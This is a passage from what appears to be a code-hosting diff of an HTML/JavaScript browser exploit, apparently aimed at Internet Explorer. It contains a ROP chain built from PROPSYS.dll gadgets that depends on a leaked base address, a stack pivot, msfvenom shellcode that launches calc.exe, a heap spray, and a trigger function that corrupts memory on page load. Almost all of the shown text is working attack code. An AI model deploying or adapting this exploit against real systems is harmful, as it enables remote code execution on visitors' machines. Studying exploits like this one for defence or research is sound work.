"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
|
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
|
||||||
"%u40bd%u6af4" + // 0x6af440bd : ,# RETN (ROP NOP) [PROPSYS.dll]
|
"%u40bd%u6af4" + // 0x6af440bd : ,# RETN (ROP NOP) [PROPSYS.dll]
|
||||||
"%ucef1%u6af8" + // 0x6af8cef1 : ,# POP ESI # RETN [PROPSYS.dll]
|
"%ucef1%u6af8" + // 0x6af8cef1 : ,# POP ESI # RETN [PROPSYS.dll]
|
||||||
"%u177e%u6af7" + // 0x6af7177e : ,# JMP [EAX] [PROPSYS.dll]
|
"%u177e%u6af7" + // 0x6af7177e : ,# JMP [EAX] [PROPSYS.dll]
|
||||||
"%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll]
|
"%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll]
|
||||||
"%u1244%u6af3" + // 0x6af31244 : ,# ptr to &VirtualAlloc() [IAT PROPSYS.dll]
|
"%u1244%u6af3" + // 0x6af31244 : ,# ptr to &VirtualAlloc() [IAT PROPSYS.dll]
|
||||||
"%u6af8" + // 0x6af80a14 : ,# PUSHAD # ADD AL,0 # MOV EAX,80004001 # POP EBP # RETN 0x08 [PROPSYS.dll] --> changed to 0x6af3a819 : # PUSHAD # CMP EAX,0C68B6AF3 # POP ESI # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
|
"%u6af8" + // 0x6af80a14 : ,# PUSHAD # ADD AL,0 # MOV EAX,80004001 # POP EBP # RETN 0x08 [PROPSYS.dll] --> changed to 0x6af3a819 : # PUSHAD # CMP EAX,0C68B6AF3 # POP ESI # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
|
||||||
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
|
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
|
||||||
"%u720b%u6af5" + // 0x6af5720b : ,# ptr to 'jmp esp' [PROPSYS.dll]
|
"%u720b%u6af5" + // 0x6af5720b : ,# ptr to 'jmp esp' [PROPSYS.dll]
|
||||||
|
|
||||||
*/
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
// Move ESP to the VirtualAlloc ROP chain
|
// Move ESP to the VirtualAlloc ROP chain
|
||||||
var stack_shift_rop = unescape(
|
var stack_shift_rop = unescape(
|
||||||
writeu(0,235802130) +
|
writeu(0,235802130) +
|
||||||
writeu(base_leaked_addr,0x2030f) + // 0x6af5030f : # POP EBX # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
|
writeu(base_leaked_addr,0x2030f) + // 0x6af5030f : # POP EBX # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
|
||||||
writeu(0,0x0e0e1258) +
|
writeu(0,0x0e0e1258) +
|
||||||
writeu(base_leaked_addr,0x28002) + // 0x6af58002 : # MOV EAX,EBX # POP EBX # POP EBP # RETN 0x08 ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
|
writeu(base_leaked_addr,0x28002) + // 0x6af58002 : # MOV EAX,EBX # POP EBX # POP EBP # RETN 0x08 ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
|
||||||
writeu(0,0x41414141) +
|
writeu(0,0x41414141) +
|
||||||
writeu(0,0x41414141) +
|
writeu(0,0x41414141) +
|
||||||
writeu(base_leaked_addr,0x0b473) + //0x6af3b473 : # XCHG EAX,ESP # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
|
writeu(base_leaked_addr,0x0b473) + //0x6af3b473 : # XCHG EAX,ESP # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
|
||||||
writeu(0,0x41414141) +
|
writeu(0,0x41414141) +
|
||||||
writeu(0,0x41414141) +
|
writeu(0,0x41414141) +
|
||||||
"");
|
"");
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
// root@kali:~# msfvenom -p windows/exec cmd=calc.exe -b "\x00" -f js_le
|
// root@kali:~# msfvenom -p windows/exec cmd=calc.exe -b "\x00" -f js_le
|
||||||
// ~2854 bytes max
|
// ~2854 bytes max
|
||||||
|
|
||||||
var shellcode = unescape("%uec83%u4070" + // move stack pointer away to avoid shellcode corruption
|
var shellcode = unescape("%uec83%u4070" + // move stack pointer away to avoid shellcode corruption
|
||||||
"%ucadb%ub6ba%u0f7b%ud99f%u2474%u5ef4%uc929%u31b1%uee83%u31fc%u1456%u5603%u99a2%u63fa%udf22%u9c05%u80b2%u798c%u8083%u0aeb%u30b3%u5e7f%uba3f%u4b2d%uceb4%u7cf9%u647d%ub3dc%ud57e%ud51c%u24fc%u3571%ue73d%u3484%u1a7a%u6464%u50d3%u99db%u2c50%u12e0%ua02a%uc660%uc3fa%u5941%u9a71%u5b41%u9656%u43cb%u93bb%uf882%u6f0f%u2915%u905e%u14ba%u636f%u51c2%u9c57%uabb1%u21a4%u6fc2%ufdd7%u7447%u757f%u50ff%u5a7e%u1266%u178c%u7cec%ua690%uf721%u23ac%ud8c4%u7725%ufce3%u236e%ua58a%u82ca%ub6b3%u7bb5%ubc16%u6f5b%u9f2b%u6e31%ua5b9%u7077%ua5c1%u1927%u2ef0%u5ea8%ue50d%u918d%ua447%u39a7%u3c0e%u27fa%ueab1%u5e38%u1f32%ua5c0%u6a2a%ue2c5%u86ec%u7bb7%ua899%u7b64%uca88%uefeb%u2350%u978e%u3bf3" +
|
"%ucadb%ub6ba%u0f7b%ud99f%u2474%u5ef4%uc929%u31b1%uee83%u31fc%u1456%u5603%u99a2%u63fa%udf22%u9c05%u80b2%u798c%u8083%u0aeb%u30b3%u5e7f%uba3f%u4b2d%uceb4%u7cf9%u647d%ub3dc%ud57e%ud51c%u24fc%u3571%ue73d%u3484%u1a7a%u6464%u50d3%u99db%u2c50%u12e0%ua02a%uc660%uc3fa%u5941%u9a71%u5b41%u9656%u43cb%u93bb%uf882%u6f0f%u2915%u905e%u14ba%u636f%u51c2%u9c57%uabb1%u21a4%u6fc2%ufdd7%u7447%u757f%u50ff%u5a7e%u1266%u178c%u7cec%ua690%uf721%u23ac%ud8c4%u7725%ufce3%u236e%ua58a%u82ca%ub6b3%u7bb5%ubc16%u6f5b%u9f2b%u6e31%ua5b9%u7077%ua5c1%u1927%u2ef0%u5ea8%ue50d%u918d%ua447%u39a7%u3c0e%u27fa%ueab1%u5e38%u1f32%ua5c0%u6a2a%ue2c5%u86ec%u7bb7%ua899%u7b64%uca88%uefeb%u2350%u978e%u3bf3" +
|
||||||
"");
|
"");
|
||||||
|
|
||||||
|
|
||||||
var xchg = unescape(writeu(base_leaked_addr, 0x0b473)); // Initial EIP control ---> 0x6af3b473 : # XCHG EAX,ESP # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
|
var xchg = unescape(writeu(base_leaked_addr, 0x0b473)); // Initial EIP control ---> 0x6af3b473 : # XCHG EAX,ESP # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
|
||||||
var fix1 = 0x15c;
|
var fix1 = 0x15c;
|
||||||
var fixop = unescape("%u0e0e%u0e0e");
|
var fixop = unescape("%u0e0e%u0e0e");
|
||||||
var offset_to_stack_shift = 0x6f7;
|
var offset_to_stack_shift = 0x6f7;
|
||||||
var offset_to_xchg = 0xd2+2;
|
var offset_to_xchg = 0xd2+2;
|
||||||
// Jumping a bit around here, pretty sure this can be simplified but hey... it works
|
// Jumping a bit around here, pretty sure this can be simplified but hey... it works
|
||||||
data = junk.substring(0,fix1-rop.length) + rop + fixop + shellcode + junk.substring(0,offset_to_stack_shift-fix1-fixop.length-shellcode.length) + stack_shift_rop + junk.substring(0,offset_to_xchg-stack_shift_rop.length) + xchg;
|
data = junk.substring(0,fix1-rop.length) + rop + fixop + shellcode + junk.substring(0,offset_to_stack_shift-fix1-fixop.length-shellcode.length) + stack_shift_rop + junk.substring(0,offset_to_xchg-stack_shift_rop.length) + xchg;
|
||||||
data += junk.substring(0,0x800-offset_to_stack_shift-offset_to_xchg-xchg.length);
|
data += junk.substring(0,0x800-offset_to_stack_shift-offset_to_xchg-xchg.length);
|
||||||
|
|
||||||
while (data.length < 0x80000) data += data;
|
while (data.length < 0x80000) data += data;
|
||||||
for (var i = 0; i < 0x350; i++)
|
for (var i = 0; i < 0x350; i++)
|
||||||
{
|
{
|
||||||
var obj = document.createElement("button");
|
var obj = document.createElement("button");
|
||||||
obj.title = data.substring(0,(0x7fb00-2)/2);
|
obj.title = data.substring(0,(0x7fb00-2)/2);
|
||||||
hso.appendChild(obj);
|
hso.appendChild(obj);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
function boom() {
|
function boom() {
|
||||||
document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";
|
document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";
|
||||||
th1.align = "right";
|
th1.align = "right";
|
||||||
}
|
}
|
||||||
|
|
||||||
setTimeout(function() {
|
setTimeout(function() {
|
||||||
|
|
||||||
var txt = document.getElementById("textarea");
|
var txt = document.getElementById("textarea");
|
||||||
var il = txt.value.substring(0,2);
|
var il = txt.value.substring(0,2);
|
||||||
var leaked_addr = readu(il);
|
var leaked_addr = readu(il);
|
||||||
base_leaked_addr = leaked_addr - 0xbacc; // base of propsys
|
base_leaked_addr = leaked_addr - 0xbacc; // base of propsys
|
||||||
base_leaked_addr = base_leaked_addr.toString(16);
|
base_leaked_addr = base_leaked_addr.toString(16);
|
||||||
spray();
|
spray();
|
||||||
boom();
|
boom();
|
||||||
|
|
||||||
}, 1000); // can be reduced
|
}, 1000); // can be reduced
|
||||||
</script>
|
</script>
|
||||||
</head>
|
</head>
|
||||||
|
|
||||||
<body onload=infoleak()>
|
<body onload=infoleak()>
|
||||||
<form id="form">
|
<form id="form">
|
||||||
<textarea id="textarea" style="display:none" cols="81">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</textarea>
|
<textarea id="textarea" style="display:none" cols="81">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</textarea>
|
||||||
</form>
|
</form>
|
||||||
<script>
|
<script>
|
||||||
|
|
||||||
</script>
|
</script>
|
||||||
<table cellspacing="0">
|
<table cellspacing="0">
|
||||||
<tr class="class1">
|
<tr class="class1">
|
||||||
<th id="th1" colspan="0" width=2000000></th>
|
<th id="th1" colspan="0" width=2000000></th>
|
||||||
<th class="class2" width=0><div class="class2"></div></th>
|
<th class="class2" width=0><div class="class2"></div></th>
|
||||||
</table>
|
</table>
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
Loading…
Add table
Reference in a new issue